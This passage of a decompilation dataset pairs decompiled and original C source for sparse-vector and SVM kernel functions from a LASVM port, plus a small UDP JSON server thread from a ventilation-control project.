{\n p->value = value;\n }\n else\n {\n int i;\n if (size >= v->maxsize)\n pairs = makeroom(v);\n for (i=size; i>0 && pairs[i-1].index>index; i--)\n pairs[i] = pairs[i-1];\n pairs[i].index = index;\n pairs[i].value = value;\n v->size = size + 1;\n }\n }\n }\n else\n {\n struct lasvm_sparsevector_pair_s *p = search(v, index);\n if (p)\n {\n int i;\n for (i=p-pairs; i<=size; i++)\n pairs[i] = pairs[i+1];\n v->size = size - 1;\n }\n }\n}", "variable_types": [ [ "v", "struct lasvm_sparsevector_s { int size; int maxsize; struct lasvm_sparsevector_pair_s { int index; float value; } *pairs; } *" ], [ "index", "int" ], [ "value", "double" ], [ "size", "int" ], [ "pairs", "struct lasvm_sparsevector_pair_s { int index; float value; } *" ], [ "p", "struct lasvm_sparsevector_pair_s { int index; float value; } *" ], [ "i", "int" ] ], "return_type": "void", "user_defined_types": [ "struct lasvm_sparsevector_s { int size; int maxsize; struct lasvm_sparsevector_pair_s *pairs; }", "struct lasvm_sparsevector_pair_s { int index; float value; }" ], "binary_hash": "ad1dadc71d49db2c3cb7cec8a4e54d6dc6ce42ec89576a4323d193c92bdf5e98" }, { "name": "lasvm_sparsevector_combine", "canonical_name": "func11", "repo": "locklin/lasvm-j", "decompiled_code": "int *__fastcall lasvm_sparsevector_combine(__int64 a1, __int64 a2, double a3, double a4)\n{\nfloat v4; // xmm0_4\nfloat v5; // xmm0_4\nfloat v6; // xmm0_4\nfloat v7; // xmm0_4\nfloat v8; // xmm0_4\n__int64 v11; // [rsp+28h] [rbp-28h]\nint *v12; // [rsp+30h] [rbp-20h]\n__int64 v13; // [rsp+38h] [rbp-18h]\n__int64 v14; // [rsp+40h] [rbp-10h]\nint v15; // [rsp+4Ch] [rbp-4h]\n\nv15 = 0;\nv14 = *(_QWORD *)(a1 + 8);\nv13 = *(_QWORD *)(a2 + 8);\nv12 = lasvm_sparsevector_create();\nresize(v12, *(_DWORD *)a2 + *(_DWORD *)a1);\nv11 = *((_QWORD *)v12 + 1);\nwhile ( *(int *)v14 >= 0 && *(int *)v13 >= 0 )\n{\nif ( *(_DWORD *)v14 >= *(_DWORD *)v13 )\n{\nif ( *(_DWORD *)v14 <= *(_DWORD *)v13 )\n{\nv6 = *(float *)(v13 + 4) * a4 + *(float *)(v14 + 4) * a3;\nif ( v6 != 0.0 )\n{\n*(_DWORD *)(v11 + 8LL * v15) = *(_DWORD *)v14;\n*(float *)(8LL * v15++ + v11 + 4) = v6;\n}\nv14 += 8LL;\nv13 += 8LL;\n}\nelse\n{\n*(_DWORD *)(v11 + 8LL * v15) = *(_DWORD *)v13;\nv5 = *(float *)(v13 + 4) * a4;\n*(float *)(8LL * v15++ + v11 + 4) = v5;\nv13 += 8LL;\n}\n}\nelse\n{\n*(_DWORD *)(v11 + 8LL * v15) = *(_DWORD *)v14;\nv4 = *(float *)(v14 + 4) * a3;\n*(float *)(8LL * v15++ + v11 + 4) = v4;\nv14 += 8LL;\n}\n}\nwhile ( *(int *)v14 >= 0 )\n{\n*(_DWORD *)(v11 + 8LL * v15) = *(_DWORD *)v14;\nv7 = *(float *)(v14 + 4) * a3;\n*(float *)(8LL * v15++ + v11 + 4) = v7;\nv14 += 8LL;\n}\nwhile ( *(int *)v13 >= 0 )\n{\n*(_DWORD *)(v11 + 8LL * v15) = *(_DWORD *)v13;\nv8 = *(float *)(v13 + 4) * a4;\n*(float *)(8LL * v15++ + v11 + 4) = v8;\nv13 += 8LL;\n}\n*v12 = v15;\nresize(v12, v15);\nreturn v12;\n}\n", "canonical_decompiled_code": "int *__fastcall func11(__int64 a1, __int64 a2, double a3, double a4)\n{\nfloat v4; // xmm0_4\nfloat v5; // xmm0_4\nfloat v6; // xmm0_4\nfloat v7; // xmm0_4\nfloat v8; // xmm0_4\n__int64 v11; // [rsp+28h] [rbp-28h]\nint *v12; // [rsp+30h] [rbp-20h]\n__int64 v13; // [rsp+38h] [rbp-18h]\n__int64 v14; // [rsp+40h] [rbp-10h]\nint v15; // [rsp+4Ch] [rbp-4h]\n\nv15 = 0;\nv14 = *(_QWORD *)(a1 + 8);\nv13 = *(_QWORD *)(a2 + 8);\nv12 = func5();\nfunc3(v12, *(_DWORD *)a2 + *(_DWORD *)a1);\nv11 = *((_QWORD *)v12 + 1);\nwhile ( *(int *)v14 >= 0 && *(int *)v13 >= 0 )\n{\nif ( *(_DWORD *)v14 >= *(_DWORD *)v13 )\n{\nif ( *(_DWORD *)v14 <= *(_DWORD *)v13 )\n{\nv6 = *(float *)(v13 + 4) * a4 + *(float *)(v14 + 4) * a3;\nif ( v6 != 0.0 )\n{\n*(_DWORD *)(v11 + 8LL * v15) = *(_DWORD *)v14;\n*(float *)(8LL * v15++ + v11 + 4) = v6;\n}\nv14 += 8LL;\nv13 += 8LL;\n}\nelse\n{\n*(_DWORD *)(v11 + 8LL * v15) = *(_DWORD *)v13;\nv5 = *(float *)(v13 + 4) * a4;\n*(float *)(8LL * v15++ + v11 + 4) = v5;\nv13 += 8LL;\n}\n}\nelse\n{\n*(_DWORD *)(v11 + 8LL * v15) = *(_DWORD *)v14;\nv4 = *(float *)(v14 + 4) * a3;\n*(float *)(8LL * v15++ + v11 + 4) = v4;\nv14 += 8LL;\n}\n}\nwhile ( *(int *)v14 >= 0 )\n{\n*(_DWORD *)(v11 + 8LL * v15) = *(_DWORD *)v14;\nv7 = *(float *)(v14 + 4) * a3;\n*(float *)(8LL * v15++ + v11 + 4) = v7;\nv14 += 8LL;\n}\nwhile ( *(int *)v13 >= 0 )\n{\n*(_DWORD *)(v11 + 8LL * v15) = *(_DWORD *)v13;\nv8 = *(float *)(v13 + 4) * a4;\n*(float *)(8LL * v15++ + v11 + 4) = v8;\nv13 += 8LL;\n}\n*v12 = v15;\nfunc3(v12, v15);\nreturn v12;\n}", "original_code": "lasvm_sparsevector_t *\nlasvm_sparsevector_combine(lasvm_sparsevector_t *v1, double c1,\n lasvm_sparsevector_t *v2, double c2)\n{\n int k = 0;\n lasvm_sparsevector_pair_t *pairs;\n lasvm_sparsevector_pair_t *p1 = v1->pairs;\n lasvm_sparsevector_pair_t *p2 = v2->pairs;\n lasvm_sparsevector_t *r = lasvm_sparsevector_create();\n resize(r, v1->size + v2->size);\n pairs = r->pairs;\n while (p1->index>=0 && p2->index>=0)\n {\n if (p1->index < p2->index)\n {\n pairs[k].index = p1->index;\n pairs[k].value = c1 * p1->value;\n k++; p1++;\n }\n else if (p1->index > p2->index)\n {\n pairs[k].index = p2->index;\n pairs[k].value = c2 * p2->value;\n k++; p2++;\n }\n else\n {\n float value = c1 * p1->value + c2 * p2->value;\n if (value)\n {\n pairs[k].index = p1->index;\n pairs[k].value = value;\n k++;\n }\n p1++; p2++;\n }\n }\n while (p1->index>=0)\n {\n pairs[k].index = p1->index;\n pairs[k].value = c1 * p1->value;\n k++; p1++;\n }\n while (p2->index>=0)\n {\n pairs[k].index = p2->index;\n pairs[k].value = c2 * p2->value;\n k++; p2++;\n }\n r->size = k;\n resize(r, k);\n return r;\n}", "canonical_original_code": "struct lasvm_sparsevector_s *lasvm_sparsevector_combine(struct lasvm_sparsevector_s *v1, double c1, struct lasvm_sparsevector_s *v2, double c2)\n{\n int k = 0;\n struct lasvm_sparsevector_pair_s *pairs;\n struct lasvm_sparsevector_pair_s *p1 = v1->pairs;\n struct lasvm_sparsevector_pair_s *p2 = v2->pairs;\n struct lasvm_sparsevector_s *r = lasvm_sparsevector_create();\n resize(r, v1->size + v2->size);\n pairs = r->pairs;\n while (p1->index>=0 && p2->index>=0)\n {\n if (p1->index < p2->index)\n {\n pairs[k].index = p1->index;\n pairs[k].value = c1 * p1->value;\n k++; p1++;\n }\n else if (p1->index > p2->index)\n {\n pairs[k].index = p2->index;\n pairs[k].value = c2 * p2->value;\n k++; p2++;\n }\n else\n {\n float value = c1 * p1->value + c2 * p2->value;\n if (value)\n {\n pairs[k].index = p1->index;\n pairs[k].value = value;\n k++;\n }\n p1++; p2++;\n }\n }\n while (p1->index>=0)\n {\n pairs[k].index = p1->index;\n pairs[k].value = c1 * p1->value;\n k++; p1++;\n }\n while (p2->index>=0)\n {\n pairs[k].index = p2->index;\n pairs[k].value = c2 * p2->value;\n k++; p2++;\n }\n r->size = k;\n resize(r, k);\n return r;\n}", "variable_types": [ [ "v1", "struct lasvm_sparsevector_s *" ], [ "c1", "double" ], [ "v2", "struct lasvm_sparsevector_s *" ], [ "c2", "double" ], [ "k", "int" ], [ "pairs", "struct lasvm_sparsevector_pair_s { int index; float value; } *" ], [ "p1", "struct lasvm_sparsevector_pair_s { int index; float value; } *" ], [ "p2", "struct lasvm_sparsevector_pair_s { int index; float value; } *" ], [ "r", "struct lasvm_sparsevector_s { int size; int maxsize; struct lasvm_sparsevector_pair_s { int index; float value; } *pairs; } *" ], [ "value", "float" ] ], "return_type": "struct lasvm_sparsevector_s { int size; int maxsize; struct lasvm_sparsevector_pair_s { int index; float value; } *pairs; } *", "user_defined_types": [ "struct lasvm_sparsevector_pair_s { int index; float value; }", "struct lasvm_sparsevector_s { int size; int maxsize; struct lasvm_sparsevector_pair_s *pairs; }" ], "binary_hash": "ad1dadc71d49db2c3cb7cec8a4e54d6dc6ce42ec89576a4323d193c92bdf5e98" }, { "name": "lasvm_sparsevector_dot_product", "canonical_name": "func12", "repo": "locklin/lasvm-j", "decompiled_code": "double __fastcall lasvm_sparsevector_dot_product(__int64 a1, __int64 a2)\n{\n__int64 v3; // [rsp+18h] [rbp-18h]\n__int64 v4; // [rsp+20h] [rbp-10h]\ndouble v5; // [rsp+28h] [rbp-8h]\n\nv5 = 0.0;\nv4 = *(_QWORD *)(a1 + 8);\nv3 = *(_QWORD *)(a2 + 8);\nwhile ( *(int *)v4 >= 0 && *(int *)v3 >= 0 )\n{\nif ( *(_DWORD *)v4 >= *(_DWORD *)v3 )\n{\nif ( *(_DWORD *)v4 <= *(_DWORD *)v3 )\n{\nv5 = (float)(*(float *)(v3 + 4) * *(float *)(v4 + 4)) + v5;\nv4 += 8LL;\n}\nv3 += 8LL;\n}\nelse\n{\nv4 += 8LL;\n}\n}\nreturn v5;\n}\n", "canonical_decompiled_code": "double __fastcall func12(__int64 a1, __int64 a2)\n{\n__int64 v3; // [rsp+18h] [rbp-18h]\n__int64 v4; // [rsp+20h] [rbp-10h]\ndouble v5; // [rsp+28h] [rbp-8h]\n\nv5 = 0.0;\nv4 = *(_QWORD *)(a1 + 8);\nv3 = *(_QWORD *)(a2 + 8);\nwhile ( *(int *)v4 >= 0 && *(int *)v3 >= 0 )\n{\nif ( *(_DWORD *)v4 >= *(_DWORD *)v3 )\n{\nif ( *(_DWORD *)v4 <= *(_DWORD *)v3 )\n{\nv5 = (float)(*(float *)(v3 + 4) * *(float *)(v4 + 4)) + v5;\nv4 += 8LL;\n}\nv3 += 8LL;\n}\nelse\n{\nv4 += 8LL;\n}\n}\nreturn v5;\n}", "original_code": "double\nlasvm_sparsevector_dot_product(lasvm_sparsevector_t *v1,\n lasvm_sparsevector_t *v2)\n{\n double sum = 0;\n lasvm_sparsevector_pair_t *p1 = v1->pairs;\n lasvm_sparsevector_pair_t *p2 = v2->pairs;\n while (p1->index>=0 && p2->index>=0)\n {\n if (p1->index < p2->index)\n p1++;\n else if (p1->index > p2->index)\n p2++;\n else\n {\n sum += p1->value * p2->value;\n p1++;\n p2++;\n }\n }\n return sum;\n}", "canonical_original_code": "double lasvm_sparsevector_dot_product(struct lasvm_sparsevector_s *v1, struct lasvm_sparsevector_s *v2)\n{\n double sum = 0;\n struct lasvm_sparsevector_pair_s *p1 = v1->pairs;\n struct lasvm_sparsevector_pair_s *p2 = v2->pairs;\n while (p1->index>=0 && p2->index>=0)\n {\n if (p1->index < p2->index)\n p1++;\n else if (p1->index > p2->index)\n p2++;\n else\n {\n sum += p1->value * p2->value;\n p1++;\n p2++;\n }\n }\n return sum;\n}", "variable_types": [ [ "v1", "struct lasvm_sparsevector_s { int size; int maxsize; struct lasvm_sparsevector_pair_s { int index; float value; } *pairs; } *" ], [ "v2", "struct lasvm_sparsevector_s *" ], [ "sum", "double" ], [ "p1", "struct lasvm_sparsevector_pair_s { int index; float value; } *" ], [ "p2", "struct lasvm_sparsevector_pair_s { int index; float value; } *" ] ], "return_type": "double", "user_defined_types": [ "struct lasvm_sparsevector_s { int size; int maxsize; struct lasvm_sparsevector_pair_s *pairs; }", "struct lasvm_sparsevector_pair_s { int index; float value; }" ], "binary_hash": "ad1dadc71d49db2c3cb7cec8a4e54d6dc6ce42ec89576a4323d193c92bdf5e98" }, { "name": "xmalloc", "canonical_name": "func0", "repo": "locklin/lasvm-j", "decompiled_code": "void *__fastcall xmalloc(int a1)\n{\nvoid *v2; // [rsp+18h] [rbp-8h]\n\nv2 = malloc(a1);\nif ( !v2 )\nlasvm_error(\"Function malloc() has returned zero\\n\");\nreturn v2;\n}\n", "canonical_decompiled_code": "void *__fastcall func0(int a1)\n{\nvoid *v2; // [rsp+18h] [rbp-8h]\n\nv2 = malloc(a1);\nif ( !v2 )\nlasvm_error(\"Function malloc() has returned zero\\n\");\nreturn v2;\n}", "original_code": "static void*\nxmalloc(int n)\n{\n void *p = malloc(n);\n if (! p)\n lasvm_error(\"Function malloc() has returned zero\\n\");\n return p;\n}", "canonical_original_code": "static void *xmalloc(int n)\n{\n void *p = malloc(n);\n if (! p)\n lasvm_error(\"Function malloc() has returned zero\\n\");\n return p;\n}", "variable_types": [ [ "n", "int" ], [ "p", "void *" ] ], "return_type": "void *", "user_defined_types": [], "binary_hash": "ad1dadc71d49db2c3cb7cec8a4e54d6dc6ce42ec89576a4323d193c92bdf5e98" } ]
b38f52aca69867dfe7a6a1c981bd99c514c639f2f185d4a14e2be0145b65d524
locklin/lasvm-j
[ [ "lasvm_vectorproblem_lin_kernel", "->" ], [ "lasvm_vectorproblem_rbf_kernel", "->" ], [ "lasvm_sparsevectorproblem_lin_kernel", "->" ], [ "lasvm_sparsevectorproblem_rbf_kernel", "->" ] ]
[]
[ { "name": "lasvm_vectorproblem_lin_kernel", "canonical_name": "func0", "repo": "locklin/lasvm-j", "decompiled_code": "__int64 __fastcall lasvm_vectorproblem_lin_kernel(int a1, int a2, __int64 a3)\n{\nif ( a1 < 0 || a1 >= *(_DWORD *)a3 )\nlasvm_assertfail(\"kernel.c\", 52LL);\nif ( a2 < 0 || a2 >= *(_DWORD *)a3 )\nlasvm_assertfail(\"kernel.c\", 53LL);\nreturn lasvm_vector_dot_product(\n*(_QWORD *)(*(_QWORD *)(a3 + 8) + 8LL * a1),\n*(_QWORD *)(*(_QWORD *)(a3 + 8) + 8LL * a2));\n}\n", "canonical_decompiled_code": "__int64 __fastcall func0(int a1, int a2, __int64 a3)\n{\nif ( a1 < 0 || a1 >= *(_DWORD *)a3 )\nlasvm_assertfail(\"kernel.c\", 52LL);\nif ( a2 < 0 || a2 >= *(_DWORD *)a3 )\nlasvm_assertfail(\"kernel.c\", 53LL);\nreturn lasvm_vector_dot_product(\n*(_QWORD *)(*(_QWORD *)(a3 + 8) + 8LL * a1),\n*(_QWORD *)(*(_QWORD *)(a3 + 8) + 8LL * a2));\n}", "original_code": "double\nlasvm_vectorproblem_lin_kernel(int i, int j, void *problem)\n{\n lasvm_vectorproblem_t *p = (lasvm_vectorproblem_t*)problem;\n do { if (!(i>=0 && i<p->l)) lasvm_assertfail(\"kernel.c\",52); } while(0);\n do { if (!(j>=0 && j<p->l)) lasvm_assertfail(\"kernel.c\",53); } while(0);\n return lasvm_vector_dot_product(p->x[i], p->x[j]);\n}", "canonical_original_code": "double lasvm_vectorproblem_lin_kernel(int i, int j, void *problem)\n{\n struct lasvm_vectorproblem_s *p = (lasvm_vectorproblem_t*)problem;\n do { if (!(i>=0 && i<p->l)) lasvm_assertfail(\"kernel.c\",52); } while(0);\n do { if (!(j>=0 && j<p->l)) lasvm_assertfail(\"kernel.c\",53); } while(0);\n return lasvm_vector_dot_product(p->x[i], p->x[j]);\n}", "variable_types": [ [ "i", "int" ], [ "j", "int" ], [ "problem", "void *" ], [ "p", "struct lasvm_vectorproblem_s { int l; int n; struct lasvm_vector_s { int size; float data[1]; } **x; double *y; double *xnorm; double rbfgamma; } *" ] ], "return_type": "double", "user_defined_types": [ "struct lasvm_vectorproblem_s { int l; int n; struct lasvm_vector_s **x; double *y; double *xnorm; double rbfgamma; }", "struct lasvm_vector_s { int size; float data[1]; }" ], "binary_hash": "b38f52aca69867dfe7a6a1c981bd99c514c639f2f185d4a14e2be0145b65d524" }, { "name": "lasvm_vectorproblem_rbf_kernel", "canonical_name": "func1", "repo": "locklin/lasvm-j", "decompiled_code": "__int64 __fastcall lasvm_vectorproblem_rbf_kernel(int a1, int a2, __int64 a3)\n{\ndouble v4; // [rsp+10h] [rbp-10h]\n\nif ( a1 < 0 || a1 >= *(_DWORD *)a3 )\nlasvm_assertfail(\"kernel.c\", 63LL);\nif ( a2 < 0 || a2 >= *(_DWORD *)a3 )\nlasvm_assertfail(\"kernel.c\", 64LL);\nv4 = lasvm_vector_dot_product(\n*(_QWORD *)(*(_QWORD *)(a3 + 8) + 8LL * a1),\n*(_QWORD *)(*(_QWORD *)(a3 + 8) + 8LL * a2));\nreturn exp(\n-*(double *)(a3 + 32)\n* (*(double *)(*(_QWORD *)(a3 + 24) + 8LL * a1) + *(double *)(*(_QWORD *)(a3 + 24) + 8LL * a2) - (v4 + v4)));\n}\n", "canonical_decompiled_code": "__int64 __fastcall func1(int a1, int a2, __int64 a3)\n{\ndouble v4; // [rsp+10h] [rbp-10h]\n\nif ( a1 < 0 || a1 >= *(_DWORD *)a3 )\nlasvm_assertfail(\"kernel.c\", 63LL);\nif ( a2 < 0 || a2 >= *(_DWORD *)a3 )\nlasvm_assertfail(\"kernel.c\", 64LL);\nv4 = lasvm_vector_dot_product(\n*(_QWORD *)(*(_QWORD *)(a3 + 8) + 8LL * a1),\n*(_QWORD *)(*(_QWORD *)(a3 + 8) + 8LL * a2));\nreturn exp(\n-*(double *)(a3 + 32)\n* (*(double *)(*(_QWORD *)(a3 + 24) + 8LL * a1) + *(double *)(*(_QWORD *)(a3 + 24) + 8LL * a2) - (v4 + v4)));\n}", "original_code": "double\nlasvm_vectorproblem_rbf_kernel(int i, int j, void *problem)\n{\n double d;\n lasvm_vectorproblem_t *p = (lasvm_vectorproblem_t*)problem;\n do { if (!(i>=0 && i<p->l)) lasvm_assertfail(\"kernel.c\",63); } while(0);\n do { if (!(j>=0 && j<p->l)) lasvm_assertfail(\"kernel.c\",64); } while(0);\n d = lasvm_vector_dot_product(p->x[i], p->x[j]);\n return exp( - p->rbfgamma * ( p->xnorm[i] + p->xnorm[j] - 2 * d ));\n}", "canonical_original_code": "double lasvm_vectorproblem_rbf_kernel(int i, int j, void *problem)\n{\n double d;\n struct lasvm_vectorproblem_s *p = (lasvm_vectorproblem_t*)problem;\n do { if (!(i>=0 && i<p->l)) lasvm_assertfail(\"kernel.c\",63); } while(0);\n do { if (!(j>=0 && j<p->l)) lasvm_assertfail(\"kernel.c\",64); } while(0);\n d = lasvm_vector_dot_product(p->x[i], p->x[j]);\n return exp( - p->rbfgamma * ( p->xnorm[i] + p->xnorm[j] - 2 * d ));\n}", "variable_types": [ [ "i", "int" ], [ "j", "int" ], [ "problem", "void *" ], [ "d", "double" ], [ "p", "struct lasvm_vectorproblem_s { int l; int n; struct lasvm_vector_s { int size; float data[1]; } **x; double *y; double *xnorm; double rbfgamma; } *" ] ], "return_type": "double", "user_defined_types": [ "struct lasvm_vectorproblem_s { int l; int n; struct lasvm_vector_s **x; double *y; double *xnorm; double rbfgamma; }", "struct lasvm_vector_s { int size; float data[1]; }" ], "binary_hash": "b38f52aca69867dfe7a6a1c981bd99c514c639f2f185d4a14e2be0145b65d524" }, { "name": "lasvm_sparsevectorproblem_lin_kernel", "canonical_name": "func2", "repo": "locklin/lasvm-j", "decompiled_code": "__int64 __fastcall lasvm_sparsevectorproblem_lin_kernel(int a1, int a2, __int64 a3)\n{\nif ( a1 < 0 || a1 >= *(_DWORD *)a3 )\nlasvm_assertfail(\"kernel.c\", 75LL);\nif ( a2 < 0 || a2 >= *(_DWORD *)a3 )\nlasvm_assertfail(\"kernel.c\", 76LL);\nreturn lasvm_sparsevector_dot_product(\n*(_QWORD *)(*(_QWORD *)(a3 + 8) + 8LL * a1),\n*(_QWORD *)(*(_QWORD *)(a3 + 8) + 8LL * a2));\n}\n", "canonical_decompiled_code": "__int64 __fastcall func2(int a1, int a2, __int64 a3)\n{\nif ( a1 < 0 || a1 >= *(_DWORD *)a3 )\nlasvm_assertfail(\"kernel.c\", 75LL);\nif ( a2 < 0 || a2 >= *(_DWORD *)a3 )\nlasvm_assertfail(\"kernel.c\", 76LL);\nreturn lasvm_sparsevector_dot_product(\n*(_QWORD *)(*(_QWORD *)(a3 + 8) + 8LL * a1),\n*(_QWORD *)(*(_QWORD *)(a3 + 8) + 8LL * a2));\n}", "original_code": "double\nlasvm_sparsevectorproblem_lin_kernel(int i, int j, void *problem)\n{\n lasvm_sparsevectorproblem_t *p = (lasvm_sparsevectorproblem_t*)problem;\n do { if (!(i>=0 && i<p->l)) lasvm_assertfail(\"kernel.c\",75); } while(0);\n do { if (!(j>=0 && j<p->l)) lasvm_assertfail(\"kernel.c\",76); } while(0);\n return lasvm_sparsevector_dot_product(p->x[i], p->x[j]);\n}", "canonical_original_code": "double lasvm_sparsevectorproblem_lin_kernel(int i, int j, void *problem)\n{\n struct lasvm_sparsevectorproblem_s *p = (lasvm_sparsevectorproblem_t*)problem;\n do { if (!(i>=0 && i<p->l)) lasvm_assertfail(\"kernel.c\",75); } while(0);\n do { if (!(j>=0 && j<p->l)) lasvm_assertfail(\"kernel.c\",76); } while(0);\n return lasvm_sparsevector_dot_product(p->x[i], p->x[j]);\n}", "variable_types": [ [ "i", "int" ], [ "j", "int" ], [ "problem", "void *" ], [ "p", "struct lasvm_sparsevectorproblem_s { int l; int n; struct lasvm_sparsevector_s { int size; int maxsize; struct lasvm_sparsevector_pair_s { int index; float value; } *pairs; } **x; double *y; double *xnorm; double rbfgamma; } *" ] ], "return_type": "double", "user_defined_types": [ "struct lasvm_sparsevectorproblem_s { int l; int n; struct lasvm_sparsevector_s **x; double *y; double *xnorm; double rbfgamma; }", "struct lasvm_sparsevector_s { int size; int maxsize; struct lasvm_sparsevector_pair_s *pairs; }", "struct lasvm_sparsevector_pair_s { int index; float value; }" ], "binary_hash": "b38f52aca69867dfe7a6a1c981bd99c514c639f2f185d4a14e2be0145b65d524" }, { "name": "lasvm_sparsevectorproblem_rbf_kernel", "canonical_name": "func3", "repo": "locklin/lasvm-j", "decompiled_code": "__int64 __fastcall lasvm_sparsevectorproblem_rbf_kernel(int a1, int a2, __int64 a3)\n{\ndouble v4; // [rsp+10h] [rbp-10h]\n\nif ( a1 < 0 || a1 >= *(_DWORD *)a3 )\nlasvm_assertfail(\"kernel.c\", 85LL);\nif ( a2 < 0 || a2 >= *(_DWORD *)a3 )\nlasvm_assertfail(\"kernel.c\", 86LL);\nv4 = lasvm_sparsevector_dot_product(\n*(_QWORD *)(*(_QWORD *)(a3 + 8) + 8LL * a1),\n*(_QWORD *)(*(_QWORD *)(a3 + 8) + 8LL * a2));\nreturn exp(\n-*(double *)(a3 + 32)\n* (*(double *)(*(_QWORD *)(a3 + 24) + 8LL * a1) + *(double *)(*(_QWORD *)(a3 + 24) + 8LL * a2) - (v4 + v4)));\n}\n", "canonical_decompiled_code": "__int64 __fastcall func3(int a1, int a2, __int64 a3)\n{\ndouble v4; // [rsp+10h] [rbp-10h]\n\nif ( a1 < 0 || a1 >= *(_DWORD *)a3 )\nlasvm_assertfail(\"kernel.c\", 85LL);\nif ( a2 < 0 || a2 >= *(_DWORD *)a3 )\nlasvm_assertfail(\"kernel.c\", 86LL);\nv4 = lasvm_sparsevector_dot_product(\n*(_QWORD *)(*(_QWORD *)(a3 + 8) + 8LL * a1),\n*(_QWORD *)(*(_QWORD *)(a3 + 8) + 8LL * a2));\nreturn exp(\n-*(double *)(a3 + 32)\n* (*(double *)(*(_QWORD *)(a3 + 24) + 8LL * a1) + *(double *)(*(_QWORD *)(a3 + 24) + 8LL * a2) - (v4 + v4)));\n}", "original_code": "double\nlasvm_sparsevectorproblem_rbf_kernel(int i, int j, void *problem)\n{\n double d;\n lasvm_sparsevectorproblem_t *p = (lasvm_sparsevectorproblem_t*)problem;\n do { if (!(i>=0 && i<p->l)) lasvm_assertfail(\"kernel.c\",85); } while(0);\n do { if (!(j>=0 && j<p->l)) lasvm_assertfail(\"kernel.c\",86); } while(0);\n d = lasvm_sparsevector_dot_product(p->x[i], p->x[j]);\n return exp( - p->rbfgamma * ( p->xnorm[i] + p->xnorm[j] - 2 * d ));\n}", "canonical_original_code": "double lasvm_sparsevectorproblem_rbf_kernel(int i, int j, void *problem)\n{\n double d;\n struct lasvm_sparsevectorproblem_s *p = (lasvm_sparsevectorproblem_t*)problem;\n do { if (!(i>=0 && i<p->l)) lasvm_assertfail(\"kernel.c\",85); } while(0);\n do { if (!(j>=0 && j<p->l)) lasvm_assertfail(\"kernel.c\",86); } while(0);\n d = lasvm_sparsevector_dot_product(p->x[i], p->x[j]);\n return exp( - p->rbfgamma * ( p->xnorm[i] + p->xnorm[j] - 2 * d ));\n}", "variable_types": [ [ "i", "int" ], [ "j", "int" ], [ "problem", "void *" ], [ "d", "double" ], [ "p", "struct lasvm_sparsevectorproblem_s { int l; int n; struct lasvm_sparsevector_s { int size; int maxsize; struct lasvm_sparsevector_pair_s { int index; float value; } *pairs; } **x; double *y; double *xnorm; double rbfgamma; } *" ] ], "return_type": "double", "user_defined_types": [ "struct lasvm_sparsevectorproblem_s { int l; int n; struct lasvm_sparsevector_s **x; double *y; double *xnorm; double rbfgamma; }", "struct lasvm_sparsevector_s { int size; int maxsize; struct lasvm_sparsevector_pair_s *pairs; }", "struct lasvm_sparsevector_pair_s { int index; float value; }" ], "binary_hash": "b38f52aca69867dfe7a6a1c981bd99c514c639f2f185d4a14e2be0145b65d524" } ]
0d00c3c35bfd4704ea2c8376c685707c44adffe13fe5803d5547f3cbe5ead9a9
pecca/vallox_control
[]
[]
[]
12ff5a0630331d2b4a4d101d0d1cc2a3fd2d8de872e07a5d93c09acbb1d17b51
pecca/vallox_control
[ [ "udp_server_thread", "->" ] ]
[]
[ { "name": "udp_server_thread", "canonical_name": "func0", "repo": "pecca/vallox_control", "decompiled_code": "ssize_t udp_server_thread()\n{\nssize_t result; // rax\nsize_t v1; // rax\nsocklen_t addr_len; // [rsp+1Ch] [rbp-1F74h] BYREF\nstruct sockaddr v3; // [rsp+20h] [rbp-1F70h] BYREF\nstruct sockaddr addr; // [rsp+30h] [rbp-1F60h] BYREF\nchar buf[8008]; // [rsp+40h] [rbp-1F50h] BYREF\nunsigned int v6; // [rsp+1F88h] [rbp-8h]\nint fd; // [rsp+1F8Ch] [rbp-4h]\n\naddr_len = 16;\nfd = socket(2, 2, 0);\naddr.sa_family = 2;\n*(_QWORD *)&addr.sa_data[6] = 0LL;\n*(_DWORD *)&addr.sa_data[2] = htonl(0);\n*(_WORD *)addr.sa_data = htons(0x1F78u);\nbind(fd, &addr, 0x10u);\nwhile ( 1 )\n{\nresult = recvfrom(fd, buf, 0x1F40uLL, 0, &v3, &addr_len);\nv6 = result;\nif ( !(_DWORD)result )\nbreak;\nu32_json_decode_message(v6, buf);\nv1 = strlen(buf);\nsendto(fd, buf, v1, 0, &v3, 0x10u);\nmemset(buf, 0, 0x1F40uLL);\n}\nreturn result;\n}\n", "canonical_decompiled_code": "ssize_t func0()\n{\nssize_t result; // rax\nsize_t v1; // rax\nsocklen_t addr_len; // [rsp+1Ch] [rbp-1F74h] BYREF\nstruct sockaddr v3; // [rsp+20h] [rbp-1F70h] BYREF\nstruct sockaddr addr; // [rsp+30h] [rbp-1F60h] BYREF\nchar buf[8008]; // [rsp+40h] [rbp-1F50h] BYREF\nunsigned int v6; // [rsp+1F88h] [rbp-8h]\nint fd; // [rsp+1F8Ch] [rbp-4h]\n\naddr_len = 16;\nfd = socket(2, 2, 0);\naddr.sa_family = 2;\n*(_QWORD *)&addr.sa_data[6] = 0LL;\n*(_DWORD *)&addr.sa_data[2] = htonl(0);\n*(_WORD *)addr.sa_data = htons(0x1F78u);\nbind(fd, &addr, 0x10u);\nwhile ( 1 )\n{\nresult = recvfrom(fd, buf, 0x1F40uLL, 0, &v3, &addr_len);\nv6 = result;\nif ( !(_DWORD)result )\nbreak;\nu32_json_decode_message(v6, buf);\nv1 = strlen(buf);\nsendto(fd, buf, v1, 0, &v3, 0x10u);\nmemset(buf, 0, 0x1F40uLL);\n}\nreturn result;\n}", "original_code": "void *udp_server_thread(void *ptr)\n{\n char sMesg[8000];\n int32 i32ConnSocket, i32MsgLen;\n struct sockaddr_in servaddr,cliaddr;\n socklen_t clilen = sizeof(cliaddr);\n i32ConnSocket=socket(2,SOCK_DGRAM,0);\n bzero(&servaddr,sizeof(servaddr));\n servaddr.sin_family = 2;\n servaddr.sin_addr.s_addr=htonl(((in_addr_t) 0x00000000));\n servaddr.sin_port=htons(8056);\n bind(i32ConnSocket,(struct sockaddr *)&servaddr,sizeof(servaddr));\n while(1)\n {\n i32MsgLen = recvfrom(i32ConnSocket, sMesg, 8000, 0,\n (struct sockaddr *)&cliaddr, &clilen);\n if (i32MsgLen == 0)\n {\n break;\n }\n u32_json_decode_message(i32MsgLen, sMesg);\n sendto(i32ConnSocket, sMesg, strlen(sMesg), 0, (struct sockaddr *)&cliaddr, sizeof(cliaddr));\n memset(sMesg, 0, 8000);\n }\n}", "canonical_original_code": "void *udp_server_thread(void *ptr)\n{\n char sMesg[8000];\n int i32ConnSocket; int 